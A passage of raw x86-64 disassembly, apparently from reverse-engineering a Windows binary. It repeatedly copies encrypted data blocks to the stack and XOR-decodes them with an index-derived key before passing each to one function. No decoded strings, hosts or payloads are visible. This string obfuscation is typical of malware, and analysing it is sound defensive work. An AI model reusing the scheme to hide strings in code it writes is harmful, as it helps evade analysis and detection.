mov dword [rbp - 0x38], eax
movzx eax, byte [0x14006f59c]
mov byte [rbp - 0x34], al
mov r8d, r12d
cmp ebx, 2
jl 0x1400095eb
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400094f2
cmp r8d, 0x9d
jge 0x140009636
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x140009600
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6d3b0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp ebx, 2
jl 0x1400097b1
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x1400096c1
jmp 0x1400097f6
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x1400097c0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6e810]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp ebx, 2
jl 0x140009971
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140009881
jmp 0x1400099b6
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140009980
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6f700]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, r12d
cmp ebx, 2
jl 0x140009b49
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140009a50
cmp r8d, 0xa1
jge 0x140009b96
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140009b60
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6e580]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, r12d
cmp ebx, 2
jl 0x140009d29
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140009c30
cmp r8d, 0xa1
jge 0x140009d76
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140009d40
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ec90]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006eca0]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x14006ecb0]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14006ecb8]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14006ecbc]
mov word [rsp + 0x5c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140009ed3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140009de0
cmp r8d, 0x2e
jge 0x140009f13
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140009ee0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ec00]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ec10]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ec20]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ec30]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006ec40]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x14006ec50]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x14006ec58]
mov dword [rbp - 0x78], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14000a083
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140009f90
cmp r8d, 0x5c
jge 0x14000a0c3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14000a090
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [str.J_eXXRZ4_b_v]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f400]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f410]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f420]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f430]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f440]
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x14006f450]
mov word [rbp - 0x70], ax
movzx eax, byte [0x14006f452]
mov byte [rbp - 0x6e], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000a243
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000a150
cmp r8d, 0x63
jge 0x14000a283
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x14000a250
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e0e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e0f0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e100]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e110]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e120]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x14006e130]
movsd qword [rbp - 0x80], xmm0
cmp ebx, 2
jl 0x14000a3de
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x14000a2f1
jmp 0x14000a423
lea r9, [rsp + 0x30]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x14000a3f0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e2b0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e2c0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e2d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e2e0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e2f0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e300]
movups xmmword [rbp - 0x80], xmm1
movzx eax, byte [0x14006e310]
mov byte [rbp - 0x70], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000a593
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x14000a4a0
cmp r8d, 0x61
jge 0x14000a5d3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x14000a5a0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e988]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e998]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e9a8]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14006e9b8]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x14006e9c0]
mov word [rsp + 0x68], ax
movzx eax, byte [0x14006e9c2]
mov byte [rsp + 0x6a], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000a733
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
